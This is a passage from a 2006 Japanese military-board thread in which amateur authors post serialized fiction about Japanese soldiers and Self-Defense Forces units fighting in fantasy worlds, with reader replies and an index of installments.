272 名前: 名無し三等兵 2006/06/12(月) 10:11:27 ID:???

お久しぶりです〜
いい加減忘れ去られてるかもしれないのですが、続きの更新を投下します
念のため、簡単なあらすじも書き込んでみたり

・・・・・・・・・・
前回までのあらすじ

弾薬庫歩哨中に異世界に転移してしまった新庄司
食糧確保のためにチェレンコフキノコ片手に狩をしていた新庄は
その狩の真っ最中にたまたまワニ(のような二足歩行の生物)に襲われていた神官シャムハートを救った
実はシャム嬢は王様の命令で新庄を探しに来ていた事が判明する
(なお、この際言葉の壁を越えるためにシャム嬢が新庄と「契約」を結び
 新庄本人も知らない内に主従関係を結ぶことになったりしている)

その後、シャムの要請に応じ新庄は暖かい食事という餌に釣られて王宮行きを快諾
王都を目指す彼らの運命は以下に?
・・・・・・・・・

それでは続けて更新を投下しまふ


273 名前: 名無し三等兵 2006/06/12(月) 10:12:04 ID:???

 王城―――そのイメージを待ち行く人に尋ねれば、大半の人々は
 絢爛豪華、流れ星のように華々しい印象を持つことを答えるだろう
 その印象は間違いではない
 まれに砦のような戦闘能力に特化した無骨な物もあるとはいえ
 大半は持ち主の権威権力の象徴としての華やかさと城砦としての本質の両方を併せ持つ
 壮大な建物として建造されるのが常識であるからだ
 ヴェルク王国の首都にあるイズドバル王の城もまた、この質実を併せ持つ城に分類されるだろう
 だが、この王城には普通の城とは決定的に違う点が一つだけある
 それは町の外周を多い尽くすように建造されている二重の城壁
 夜盗や猛獣から民を守るために建造された前哨として作られる柵のような城壁ではない
 魔術や攻城兵器の攻撃をはじめから考慮して作られたそれは
 城壁というよりは堡塁というほうが正しいような代物である
 世にいかに頑強さを誇る城が多いとて、此処まで徹底的に防御を施された城は存在しない
 偏執狂の域にすら達しつつあるほどの徹底的な防御
 その景観はもはや、王都と王城を守る城壁と言うより要塞の上に町が在るようにすら見える

 イズドバル王がシャムからの伝令を受けたのは
 その二重の城壁から外へ少しばかり出た三重目にあたる城壁築城の監督の最中であった

「ほう。たった3週間で本当にそれらしき男を発見するとは
 民衆の人気だけで謡神官になったというに、あの化け猫神官も侮れんものよ」

 その報告を受けた王はくだらない冗談を聞いたと言うように伝令の騎士に話しかけた


274 名前: 名無し三等兵 2006/06/12(月) 10:12:36 ID:???

「貴様も見たのか?我の対抗者になりうると言うその男を」
「は。この眼で確かに」

 答える騎士は外面上は平静そのものを装いながらも緊張に震えていた
 何しろ王の短気は病的なほどで、近隣諸国の民ですら一度は耳にするほど強烈な物である
 その怒りに触れて父代からの重臣すら容赦なく処罰されている
 ゆえに怯えを見せることは許されない。王は卑屈な者や臆病な物を羽虫の如く嫌う

「ほう ならばどう思う」

 騎士の緊張に気づかなかったのか、そもそも視界にすら入っていないのか
 王は城壁の建築作業を見守りながら伝令の兵士に再び尋ねかけた
 
「と申しますと?」
 王の言葉に主語は無い。その言葉の真意を測り損ねた伝令が尋ねる

「たわけ、その男が我の対抗者たりうると思うかどうか聞いているのだ
 なに、なんと言おうと貴様を罰する心算は無い故、安心して正直に申せ」
「は、ならば恐れながら申し上げます
 彼の者が騎士団の包囲を突破し、謡神官と騎士団長を一瞬の内に捕らえた手際
 また謡神官が救われた際には、地竜を一瞬にして絶命させたとも聞き及んでおります
 これらの事を勘案するに、単純な個人単位の戦闘力ならば王に限りなく近い物を持っているものと」

 騎士は正直に自分が感じた事を報告する
 そこに虚偽も装飾も一握りたりとも含まれていない
 そういう物を含めることが出来ないほどに、ただ眼前の王の存在に圧倒されていた
 だがこの騎士は気づいていただろうか
 自らのその視線が、畏怖しているはずのものに見惚れたかのように釘付けになっていた事に

275 名前: 名無し三等兵 2006/06/12(月) 10:13:33 ID:???

「そうか。我に限りなく近いか」
 
 淡々と、何事も無かったかのように王は繰り返した
 機械のようなその姿に一切の変化は無い
 ただまっすぐに、作業を見つめるだけの王の横顔があるだけである
 だが、どうしてだろう。騎士にはその横顔が微かに喜びの色を移しているように見えた

「大儀であった。下がってよいぞ」

 退出を許可された騎士が名残惜しげに一礼しその場を後にする
 王は動かず、淡々と城壁の建築作業を見守り続けるだけ
 ―――去り行く騎士と入れ替わるように、新たな人影がゆっくりと王に近づいていく
 
「我に近い――――か。本当ならば困ったことになる」
「ならば、消しますか?」

 誰にとも無く話しかける王に近習の剣士が尋ねる
 元は暗殺業で生計を立てていた者であるが、
 忍び込んだ寝室で王本人に返り討ちに会い、命を助けられて以来
 近習として王の身の回りを守っている者だった

「それではつまらぬ―――だが、のうのうと到着させてやっては
 あの人心を煽る能無し神官長とその一派を始末する口実が無くなってしまう―――か」
「では、いかに」
「4日ほど奴らの足を止めよ。方法は問わん
 それだけ奴らの足を止めれば、約束の刻限までに辿り着くことはあるまい」
「兵をお借りしても?」

276 名前: 名無し三等兵 2006/06/12(月) 10:14:09 ID:???

 軍事的な手段に応じてもよいのか、と近習は訪ねる

「馬鹿め。それでは護衛につけた騎士団と同士討ちになろう
 あの辺りには、討伐待ちのちょうど良い連中がうろついている故、其れを使うが良い」
「御意に」 

 近習は踵を返し任に向う

「ああ、待て。
 もし奴が貴様の眼鏡に適わぬような無能なら速やかにこの世から消せ
 無能と並び比べられることなど我にはとても耐えられん」
「御意」  
 
 改めて一礼をする近習に王は早く行けとばかりに手を振って見送る

「我の対抗者―――か
 本当に我と並び立つほどの者がこの世に居るというのならば、どれほど―――」
 
 王の視線は変らず城壁に向けられている
 だがその焦点は見果てぬ彼方に重ねられている
 見果てぬ理想郷を捜し求める探求者のように遥か彼方へ――――

「―――ありえぬ話、すべては遠き夢よ
 仮にそのような者が居たとしても、何れこの手で消さねば為らぬ―――か」
  
 呟く王もまた、次の雑務の処理に向うために城に向って馬を進ませる
 其れはまるで夢破れた子供が強がりながら帰途に着くような姿だった

277 名前: 名無し三等兵 2006/06/12(月) 10:14:46 ID:???

 以上、第二部?スタートの導入編ですです
 新庄、シャムの冒険は今しばらく続く予定なので
 よろしければ他の作者様の合間にでも読んでくだされ

278 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/12(月) 10:28:09 ID:???

新庄&シャム嬢キター!

279 名前: 名無し三等兵 2006/06/12(月) 17:23:45 ID:???

キタ━━ヽ(゚∀゚)ノ━━!!!!!
待ってますたYO

280 名前: 名無し三等兵 2006/06/12(月) 17:33:49 ID:???

まってました!
続きが読めるなんて・・・、よよよ・・・(泣)
下はこれまでのお話。知ってる人もいるかもしれないけど、念のため。
http://fwsdf.hp.infoseek.co.jp/cgi-bin/wiki/wiki.cgi?%BF%B7%BE%F2%A3%B3%C1%E2%A4%CE%CB%C1%B8%B1%2D%A5%DE%A5%BF%A5%AE%C0%EF%B5%AD%2D

281 名前: 名無し三等兵 2006/06/12(月) 20:25:19 ID:???

投下乙です!
王は、「俺より強いやつに会いに行く!」な青春をすごした感じの男ですねw

282 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 19:05:41 ID:???

遅滞がわり。
>>110-113 >>152-154 >>222-223 >>243-245 >>250-255
更新を開始。

283 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 19:07:58 ID:???

 この世界の夕暮れがやってくる。

 砲声が轟き、砲煙が煙る、黄金色に染まった世界の中で、
自衛隊の生き残り達が、休む間も無く今後の事を相談をしている。

 今井は砲煙の風上に位置する砲列西側後方にいた。
今井の遥か前方、偽装ネットも被せないまま剥き出しにされた砲列のあたりでは、
汗と埃に塗れた屈強な男達が、砲列の砲弾の準備に余念が無い。

 ピュウ、、ピュウ、と、風が鳴いている。

風に揺られて背後の草の海が、音もなく滑らかに揺らめいている。

284 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 19:21:34 ID:???

 この世界の風の吹く中、
この世界の総てを震撼させる現世の砲撃の震動の波動の中、
今井はヤる事も無くなり、手にする槍を弄(もてあそ)ぶだけであった。
槍は、猛禽の様な斎藤の手にする小銃を切断し、彼をも殺す寸前までいった手練の男の槍であった。
そして今井が扱うには、少し重過ぎる槍であった。

 「 騎馬戦か、騎馬の突撃と向き合う時には頼りになるんだがな 」

今井には、未だにこの槍が、鉄の塊である現世の小銃を切断した事を信じられないでいる。
この頑丈で重い槍を、斎藤氏ほどの男を倒しかけた兵(つわもの)が操っていたとしても。

 ( となると、、、魔法か )

 1人でそう結論づけていると、
本田氏と斎藤氏らの相談が終わったらしい。
彼らは再び車上の人となって、慌しく陣営から出ていこうとしている。
 ( どこへ行くのかな? )
と、今井が考えていると斎藤氏が乗った車両がやってきた。

黄金色の光に照らし出された斎藤氏は
「 ちょっと、部下を回収しに行ってきます 」
と、それだけ言うと、
本田氏の車両群の後を追っていってしまった。

 ( ・・・空爆は?砲撃は?? )

・・・あの空爆と砲撃の中を、救出にいくつもりなの??
・・・と、今井が気がつけば、あれほど世界を震わせていた砲撃と空爆の音が、止まっている。
そして再び、戦闘車両の群が北の大地へと動き出していた。

空自のジェット機は・・・どうなったんだろう・・・

285 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 19:39:47 ID:???

 しばらくして、婦人自衛官の動きも慌しくなってきた。

彼女らの頭格らしい南嬢の回りに、婦人自衛官達が幾人も集まってきている。
( 彼女達も出動するのか )
何となく近寄って「 何か手伝いますか? 」
と車の中の南嬢を見上げると、南嬢はあまり迷った様子も無く
田中嬢と相馬嬢の運転する車両を指定してきた。
 1般人の今井が
同行を断られなかった所を考えるに、膨大な犠牲者が出ているのだろう。

今井が南嬢にささやかな協力を申し出たその時、
南嬢は周りの娘達の中での1番の年長者らしい落ち着いた雰囲気で今井に礼をのべていたのだが、
田中嬢は( 1般市民がしゃしゃりでるな )のオーラが、凄かった・・・。

 ・・・田中嬢の視線に小さくなっていても生産性が無いので、
気付かぬ風を装い、前に座る相馬嬢に話をふってみる。

「 空自の人達、着陸はどうするのでしょう? 」( ここ、草地があるだけの荒地ですよ? )
「 乗り捨てるしかないと思います・・ 」と、相馬嬢。
「 今、パイロットの人達が降りてくる場所を確保しに行くんですよ 」
「 もちろん、まだ生きている人達の救出も、です。 」

( ?????? )

 他の婦人自衛官2人も話に答えてくれる1見、和やかな雰囲気の中で、
突然今井は、強烈な殺気を感じる。
何気なく今井が360度を確認するふりで首を左右に振ると・・・
( 田中嬢が女の子で良かった )
という“ 恐ろしいもの ”を、横目の端に見た様な気がした・・・。

286 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 20:06:31 ID:???

 車両に揺られて1行が北に進むにつれて、
倒れ付している人馬よりも、肉片と鉄片のが多くなっていった。
やがて、巨大な穴が点在する地点にさしかかった頃、ここらが彼女らの指定の場所なのか、

静かに・・車が止まった。

田中嬢が率先して勢い良く飛び出す。
他の女性隊員達がその後に続いた。

彼女達が、
まだ、生きている人はいないかと、
まだ、敵対的な存在が生きてはいないかと、
迅速に、細やかに、定められた確認作業をクリアしていく。

 今井は、その良く訓練された体力と動きについていけず、
( 生存者が見つかるのをまって、それから手伝おう・・ )

と、情けなくも横着する事に、決めた。
鍛えている彼女らに比べて、今井の体力の無さは絶望的であった。

・・・。
彼女達の体力に、今井は目を見張るばかり、で、あったが・・・
その中でも際立った速さの田中嬢には、ある種の危険を感じ始めていた。
 ( ・・・チト急ぎすぎじゃないかなあ )

今井の心配を他所に、
田中嬢は無限の体力をもっているかのように次々と確認をクリアしていく。

そうして、田中嬢が50体程の死体の確認をし終えた頃、
田中嬢が次の死体の確認へと移る瞬間・・・死体が後ろから田中嬢の足首とズボンを捕まえて、
彼女を地面に引き摺り倒してしまったのであった。

287 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/13(火) 20:11:59 ID:???

今宵の遅滞業は一端終了です。

288 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/14(水) 22:43:51 ID:???

西暦2020年1月15日 18:00 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地 正面ゲート

「それでは失礼します」

 国防色のM−14大使はそう言って頭を下げると、森の中へと消えていった。
 日付をまたいでも『会談』は終わらず、その後翌朝の七時まで続いた。
 何しろ、聞けば答えてくれる相手がいるのだ、情報収集活動としてこれほど楽な事はない。
 もっとも、人から聞いた話だけで判断材料とするのは危険である。
 その為、地形に関しては実際に偵察活動および測量を行う事によって確認する事となったらしい。
 それによって今後彼女から入る情報の正確性を確認しようというのだそうだ。
 しかし、ここで仮眠を取ってから帰還するとは、なんとも豪胆な事で。

「陸上の偵察は出さないのでしょうか?」

 先ほどからひっきりなしにヘリコプターが離陸し、北へ南へ西へと飛び去っている。
 監視塔で共に双眼鏡を握っている三曹が尋ねてくる。

「バイク自体は頑丈でも、乗っている偵察隊員は生身の人間だからな。
 ブービートラップや弓矢でも簡単に死んでしまう。
 それに、地形がどうなっているのかわからないのでは87式を出せないだろう?」
「まぁそりゃそうなんですが・・・」
「どうした?珍しく歯切れが悪いじゃないか」
「いや、その」

 三曹は口ごもった。
 この27歳のWACは、モデルでも通用するであろう外見と、90式の零距離射撃にも耐えるのではないかと思われる巨大な胸部装甲を持っている。
 何でも歯切れ良く喋り、恐らく文字だけで表記すると30近い男性の『鬼軍曹』を想像する程に口が悪い。
 その彼女が口ごもるとは珍しい。
 何か重いものが落ちる音がしたのは、その瞬間だった。

289 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/14(水) 22:46:27 ID:???

「?」

 音がしたのは彼の後ろだった。
 見ると『敵味方識別帳』と書かれた分厚い本が落ちている。

「なんだこりゃ?いつの間に支給されたんだ?」

 なぜか拾わせまいと邪魔をしてくる三曹をすり抜け、本を手に取る。
 最初のページには、自衛隊の書式には従っていないタイトルがあった。

「なになに?ファンタジー作品における魔法生物設定資料集〜これで異世界に行っても大丈夫!〜第32巻?」
 
 中身を見る。
 吐き気を催すほど、あるいはトイレの個室で主砲による連続射撃を行いたくなるほどにリアルに書かれた生物の群れがあった。
 
「なんだあこりゃあ?私物か?」
「は、はい、申し訳ありません。自分の私物です」
「そうか、しかしこりゃあ、役に立ちそうなものだな」

 他のページを確認する。
 エルフのページか。

「なになに?実在はしていたけど、思っていたよりも高慢ではないようだ?」
「え、ええ、伝え聞くところによるともっと高慢だとばかり思っていたので」

 いつの間にか双眼鏡で森を眺めつつ三曹。
 いきなりどうしたんだ?


290 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/14(水) 23:04:07 ID:???

「三尉殿」
「なんだ?」

 上官に話しかけているというのに、双眼鏡を手放そうとはしていない。
 失礼な奴だ。
 それに何処を見ているんだ?そっちは海だぞ。

「可愛らしい女の子みたいだ、とか、思ってませんよね?」
「ああ、大丈夫だ。脳内でもちゃんと彼と表記している」
「ならいいです」

 あぶないあぶない。
 こいつはなんか自分を男性と考えるなんとか同一性障害らしい。
 それで自衛隊に入ったそうだ。
 が、あいにくと自衛隊は男女差別が厳しい。
 なにしろ、数年前までは戦闘部隊への配置は形だけだったほどだ。
 ここ数年続く好景気で、さすがに人手不足も限界となった現在では、逆に珍しくもない。
 軍隊だけあり制度改正までは長かったが、こうと決まった後はあっという間にこの状態だ。
 今じゃあWACなんて珍しくもなんともない。

291 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/14(水) 23:34:11 ID:???

「ヘリが何かを見つけたら、我々が出張るという事はあるのでしょうか?」
「俺たちは正門警護が任務だからなぁ。
 でもまあ、本土から警務隊が到着したらありえるな。とはいえ、表に出たいか?」
「はい、出たいです」

 三曹は即答した。
 今度は空を眺めている。

「危険だぞ、いつドラゴンやらオークやらが出てくるかわからんぞ?」
「構いませんよ。交戦許可さえいただければ、我々には銃火器があります。
 車輌だってありますし、支援要請すればきっとアパッチや特科の支援もあるでしょう?」
「まあ、見殺しにされる事はないだろうな」

 ただでさえ人手不足の自衛隊で、交戦による大量消耗など許されるはずもないからな。
 減り続ける人員を護るため、特に陸上自衛隊では少数で多数を殺せる兵器の増強に走り続けている。
 戦闘ヘリ部隊の増員、車輌の増強、特科の完全自走化。
 陸海空の相互支援の促進とデータリンクによる総合的な戦闘能力の向上。
 予算獲得のためのお題目ではなく、国防のための戦闘能力を維持するために、自衛隊にはそれが必要だった。
 
「だったら、むしろこの新世界を楽しまないと」
「お前なぁ、相手が大昔の装備だったとしても、矢を射られて、あるいは剣で切られれば俺たちは死ぬんだぞ?」
「その前に射殺すれば問題はないでしょう?」

 まあそうだけどな。
 あっさりと射殺とか言うなよ。おっかない奴だな。

292 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:06:57 ID:???

西暦2020年1月16日 04:52 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地 第一会議室

「状況を説明する」

 交代が終わったばかりの俺たちは、現在完全装備でこの部屋に集合していた。
 居並ぶ幹部たちに混じり、海自や空自も来ている。

「夜間偵察中のヘリオス78が撮影した映像だ」

 室内の照明が落とされ、スクリーンに映像が出てくる。
 暗闇に閉ざされた世界に、一つだけ明かりがある。
 飛行に伴う振動を感じさせないスムーズな接近とズームが行われ、その正体が明かされる。

「こりゃあ、酷いな」

 誰かが一同を代表して感想を述べた。
 私語に対する叱責はなかった。
 非武装の民間人に対する大量虐殺行為。
 問答無用の国際法違反だ。

「襲われている村落は、事前に得た情報によるとダークエルフの村落らしい。
 なお、ダークエルフとは森を離れたエルフの事を指しているそうだ。
 彼らは、えー、ドワーフという種族と共に行動する事が多いらしく、ここの村落でも共同で暮らしているそうだ」

 年配の三佐が報告書を困惑しつつ読んでいる。
 まあ気持ちはわかるよ。
 お?吉永一佐が立ち上がったな。


293 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:11:04 ID:???

「彼らダークエルフとドワーフは、火や森を切る事に対して全く気にしないらしい。
 また、ドワーフに至ってはもともと大地の精霊ということで、自前の炭鉱や鉱山を持つほどだという。
 そういった資源を見つけ出すことにも長けているそうだ。
 そして、両者共に人間ではないという事で、この世界の連中とはあまり折り合いが悪いという。
 我々の友人として暖かく迎え入れるには十分な要素を兼ね備えている」

 やれやれ、国益を重視する事はいいが、そこまで露骨に表現しなくてもいいだろうに。
 と、なると、こんな時間にお偉方が勢ぞろいして、しかも俺たちが完全武装で非常呼集された理由は一つか。

「大陸派遣隊は、全くの人道的見地から平和維持活動を実施する。
 これは本国の承認済みだ。
 疲れているところを申し訳ないが、全力を尽くして欲しい。以上だ」
「敵軍の状況を説明する」

 再び年配の三佐が前に出る。

「画像解析によると、敵は連合王国の連中だ。
 我々は平和維持活動のために出動するのであり、これに楯突くもの、あるいは従わないものは平和の敵だ。
 容赦なく殲滅せよ。
 これは本国からの命令でもある。以上だ」

 その後は具体的な作戦の説明になった。
 俺たちは先行するAH−64DJが交戦した後に着陸。
 速やかに市街地に突入し、敵を排除。
 ドワーフおよびダークエルフとの接触を持てとの事らしい。
 簡単に言ってくれるぜ。

294 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:50:33 ID:???

西暦2020年1月16日 05:20 ゴルソン大陸 陸上自衛隊大陸派遣隊第一基地西方上空

<イブニングライナー01より各機、安全装置解除、攻撃用意>

 暗視装置に照らし出された世界は、燃え上がる建造物に照らされて極めて明るい。
 二番機のガンナーは、全ての火器の安全装置を解除した。
 この対空砲火がない世界ならば、さぞかし爽快な攻撃が出来るだろう。
 楽しみだぜ。

<イブニングライナー01より各機、敵地上部隊を視認した。
 各機は所定の方針に従い、最善と思われる平和維持活動を実施せよ>
<イブニングライナー03、攻撃開始>

 最右翼を進んでいた僚機が、いきなり多連装ロケットを発射した。
 今日の俺たちは、装甲目標ではなく、軽装甲車輌を含む地上部隊を制圧するための装備だ。
 一瞬で敵陣に着弾し、明るい光が周囲を照らす。
 凄い大軍だな。
 およそ800から1000。
 完全にこの村を包囲している。一人も逃がさずに殺戮する気だな。

295 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:51:41 ID:???

<こちらイブニングライナー06、撃ちます>

 競うように最左翼の僚機が発砲する。
 機関砲を乱射しつつロケットの一斉発射。
 よくもまあそんなことをして姿勢を崩さないものだ。
 暗視装置の一角が異様に明るくなり、正体を考えたくないものが飛び散っているのがわかる。
 
<こちらイブニングライナー03、うひょお、お祭り騒ぎだな>

 一瞬で現場上空を通過する。
 真っ赤に燃え上がる街。
 街路に見えた人影は、武装しているようには見えなかった。
 正確には、倒れている人影は武装しているようには見えなかった。

<中央の塔に敵が集まってる!ああ、こちらイブニングライナー04だ!>

 そのまま村を跳び越したりはせず、周囲を睨むように散開する。
 機関砲が、ロケットが火を噴き、この村を取り囲むように展開していた人間の群れに地獄をプレゼントする。
 盾を構えた連中が、弓を構えた連中が、土煙の通過と同時に消え去る。

<攻撃の手を緩めるな。全員殺せ!>
<イブニングライナー02、きちんと名前は名乗れ。こちらはイブニングライナー05>
<敵は弓矢程度しか撃ってこない。敵脅威は極めて低い模様だ!撃ちまくれ!>
<イブニングライナー02!名乗れと言っている!!>

296 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:53:46 ID:???

 初めての戦闘に興奮した各機が通信を交わしている。
 うん、怯えているよりは遥かにマシだ。
 冷静に部下たちの様子を眺めつつ、コールサイン『イブニングライナー01』は地上を眺めた。
 中央の8階建てと思われる塔を中心に放射状に広がるこの村は、塔以外全ての建築物が炎を吐き出している。
 塔の周囲には敵軍と思われる集団が多数おり、どうやら生存者はこの建物に立てこもっているようだ。

<イブニングライナー01より各機、塔の周辺を狙えるか?>

 すぐさま否定的な答えが返ってくる。
 多少なぎ払う事は出来るが、建物に近づきすぎている連中は狙えない。
 万が一にでも弾が当たってしまえば、大変な事になる。
 彼らは、この塔の中に立てこもっているであろう人々を救出するために来たのだから、それは許されない。
 地上部隊はまだなのか?
 手早く周波数を切り替えると、イブニングライナー01の操縦者は無線へと呼びかけた。
  
<こちらイブニングライナー01だ。地上部隊はまだか?>

297 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 00:59:31 ID:???

<本日も桜空輸をご利用いただきまして誠にありがとうございます。
 こちらは機長です。降下地点まであと一分少々となりました>

 まったく陽気な機長だ。
 離陸前からこの調子だったが、まさか戦場でもこの調子とはね。

<こちらイブニングライナー01、地上部隊はまだか?>

 ああよかった、このまま戦闘が終わっちゃうのかと思ったよ。
 まぁ、終わってくれて構わんが。
 こちらはちょいと離れた場所を移動中。
 まったく、連中は大したもんだな、人間相手にまったく躊躇なく発砲してやがる。

 先行する戦闘ヘリ隊から連絡が入る。
 えっと、周波数は向こうが合わせてくれてるからこのままでいいんだよな?
  
<こちらエヴァーズマン。感度良好。なんでそっちは電車で、こっちはBHDなんだ?>
<こっちがその系統の名前じゃあ縁起が悪いだろ?>

 こっちだって縁起が悪いわい。

298 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 01:00:27 ID:???

<まあごもっともだ。それでスーパー61、用件は?>
<その名前はやめろ。市街地、というほど広くはないが、そこの中央に塔がある。
 敵軍がなぜかそこに集中している。敵しかいないかどうかを確認して欲しい>
<了解した。こちらは村の東から突入する。周辺の掃除を頼む>
<わかった。オワリ>

 最後だけ規則に従った形式で通信は終了した。
 既に部下たちの戦闘準備は完成している。
 さあ地上戦だ。誰一人死なずに帰還するぞ。

<こちらは機長です。これより降下を開始します。
 シートベルトをしっかりとしめ、安全装置をご確認下さい。
 なお、当機の定員は決まっている。減る事は許さない、以上だ!>

 機長のアナウンスと同時に、ヘリは急激な降下を開始した。  
 見る見るうちに地面が接近し、そして急減速の後にヘリは地面へと降り立った。

「よし、始めるぞ」

 ドアが開かれ、俺たちは戦場へと足を踏み入れた。


299 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/15(木) 01:06:46 ID:???

本日はこれにて。
途中なぜか軍板にアクセスできなくなり、投稿感覚が異様に伸びた事をお詫びします。

>>政府広報課殿
>>名無し三等兵殿
>>翡翠殿
乙であります。


300 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:06:13 ID:???

909様、お疲れ様であります。
っと今スレの進行も凄い事になっているので、
そろそろ案内板を作成いたしましょうですよ。

301 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:10:14 ID:???

wiki氏様業務連絡
>>118
>>134

政府大本営氏殿
< 日本異邦戦記 > >>143-148
< 南洋の朝前編 > >>258-263

エビチリ氏殿 < レーベンスの防人たち >
>>121-129 第2話( 1−9 )

てさりすと氏殿  < マタギ戦記 >
>>273-276 ( まとめ >>280 )

302 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:14:03 ID:???

元1だおー氏殿 < バディのいた風景 2 >
>>30-91 ※全
>>30-35 ※前編のあらすじ
>>36-43 ※ロースキ軍 軍師アイギスと騎士ウェリカ
>>44-50 ※柴田 あるいは京香への思い
>>51-59 ※軍師アイギスの勧告 そしてウェリカのアイギスへの思い
>>60-68 ※バディ あるいは傷跡の記憶
>>69-77 ※戦闘 そして軍師アイギスの智謀
>>78-83 ※須田 あるいはキレシュト山脈の光景
>>84-91 ※日本へ

※副題 は 携帯の方用に 翡翠が目安に付けたものです。m()m

303 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:18:02 ID:???

前スレ909氏殿
>>176-179 大陸派遣第一基地
>>184-187 第一基地正面ゲート
>>225-232 外務省臨時出張所
>>288-291 ※三尉 と 三曹
>>292-298 基地西方上空

304 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:22:59 ID:???

小官 小官氏 < 魔導士教育隊シリーズ >
本編 >>193-195
短編 >>160

翡翠 星砂  < 黒メノウの落日 >
戦場 >>110-113
人喰 >>152-154
残数 >>222-223
学生 >>243-245
殲滅 >>250-255
戦塵 >>283-286
中継 >>282 ( 戦場110−殲滅255 )

305 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/15(木) 14:36:42 ID:???

案内板作成、終了。

306 名前: 名無し四等水兵 2006/06/15(木) 20:03:36 ID:???

おお!見やすい!!
乙です。

307 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/15(木) 22:45:48 ID:???

ふふーりと言う事で、「南洋の朝」後編(というか中篇?)を唐突に投下。

もちろん、即興書き下ろしでつょ。。。

308 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/15(木) 22:53:51 ID:???

 さて、日本的な情景によって、編組された南方庁に出向する事となった
職員の家族の為、学校が設立される事とあいなる。

 学校を作ったなら、今度は教師が必要となり、その教師も日本から遥
か遠く離れた地へと赴任するから、当然のように妻子もちの教師は、妻
子とともに赴任する事となる。
 だから、急造ではあるが唐突に街が出来上がるのは必然だった。
それがいい事なのか悪い事なのかは別にして、であるが。

 

309 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/15(木) 23:06:30 ID:???

 ここで、南方庁教育委員会は日本人的な思考で考えた。
ここは既に日本なのだし、教育を受けていない人間がいる事自体が、
おかしいといわざるを得ないと。
ならば、地元民に教育を受けさせるべきだ。勿論だが地元民の現実な
ど考えずにである。

 そして当然のように地元民の反発がおきる。曰く、大事な働き手を奪
うつもりかと。

 しかし教育委員会は、その意見にまったく頓着しなかった。
読み書き計算はできて当たり前だと。でなければ、商売なぞできない。
そう言い放つ。


310 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/15(木) 23:24:42 ID:???

 かくしていつか来た道を教育委員会は辿りつつ、強引にみえるぐらい強力に
教育普及計画を推進したのだった。
 

 そしてこういった大人の事情など、学校に通う子弟にとってはあまり意味がな
い事情である。

 その学校に通う子弟の中に南方庁に父親の赴任とともに、引っ越してきた子
供がいる。

「あ、いっこ〜。おはよー」
「うん。おはよー」
 彼女の姿を見つけた同級生が声をかけてきた。
ゆっこ、と呼ばれたその少女、早瀬樹(いつき)は、返事を返すや、やや小走り
に彼女に声をかけた同級生の傍による。

 周囲は彼女らと同じように学校へと通う子弟らの姿があった。彼らもまた学校
へ通う年齢である。


311 名前: 名無し三等兵 2006/06/16(金) 00:51:25 ID:???

終わり?

312 名前: 名無し三等兵 2006/06/16(金) 02:16:02 ID:???

みんな寝たんだよ、きっと。

313 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/16(金) 05:55:41 ID:???

あ〜。。。
寝てたorz

いやまあ、なんだ。
後の続きを書くのに、ネタが浮かばないので、
時間くだしあ。 ┃ドア┃_ー)

314 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:04:11 ID:???

起きました〜。昼時ですのう。。
水兵氏殿も着ていたようなので、例の置いて見ませう〜。

前スレの「☆人型生体兵器ダイダラ☆ 」にヒントを得た1発ネタのSS。
「☆巨人兵inF世界☆」

登場人物
「小覇王」
「D」小隊の初代指揮官。北米を除く全世界での非合法活動で悪名を轟かしていた。
主な活動地区は亜細亜。「小覇王」は大陸系マフィアが付けた仇名。略して「小覇」

「上級天使」
「D」小隊の現指揮官。北米に置かれた諜報機関の現場指揮官だった。
「上級天使」は、南米の非合法組織から付けられた仇名。略して「上使」

「民間保護課長」
「D」小隊にガン〇ム1のア〇ロ並みの偶然で巻き込まれた民間人。
このSSが笑小話である事を身を持って示す重要な人物。略して「民間」

んじゃ落としてみませう〜。

315 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/16(金) 13:08:31 ID:???

☆ 巨人兵 in F世界 ☆

 西暦2XXX年、
日本国陸上自衛隊は汎用人型生体兵器の試験運用を開始した。
コードネーム「DAIDARA」である。( 略称 巨人兵 )

「DAIDARA」は、
全高10メートルに達する巨大な二足歩行ロボット兵器の外観を誇る“生物兵器”であった。
( 断じて二足歩行猫型ロボットでもガン〇ムでもない )

「DAIDARA」は、来るべき世界PKO活動の主任務、
「対・第三世界ゲリラ戦」を想定して開発された兵器であった。

  陸上自衛隊の上層部は、
「DAIDARA」を実戦使用するための運用データ獲得を目的として一つの実験部隊を創設する。
略称「D」小隊と呼ばれたその部隊の初代指揮官に選ばれた男の名は「小覇王」
その通称で日本が関わった数ある紛争で悪名を轟かしてきた男であった。

